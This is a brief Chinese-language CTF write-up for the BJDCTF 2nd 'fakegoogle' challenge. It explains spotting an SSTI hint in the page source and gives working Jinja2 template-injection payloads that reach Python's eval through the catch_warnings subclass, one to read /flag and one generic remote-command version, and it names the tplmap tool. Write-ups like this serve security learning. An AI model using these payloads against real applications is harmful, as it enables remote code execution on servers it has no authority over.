BJDCTF2nd-fakegoogle

 · 2020-7-13  ·次阅读


题目地址:buuctf

1

输入一个值之后返回

2

查看源文件后发现提示

<!--ssssssti & a little trick --> 

ssti注入,利用的是jinjia2的模板引擎

payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
```

RCE Payload

```
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }}{% endif %}{% endfor %}

推荐文章https://bbs.ichunqiu.com/thread-47685-1-1.html

当然这一题也能用tplmap一把梭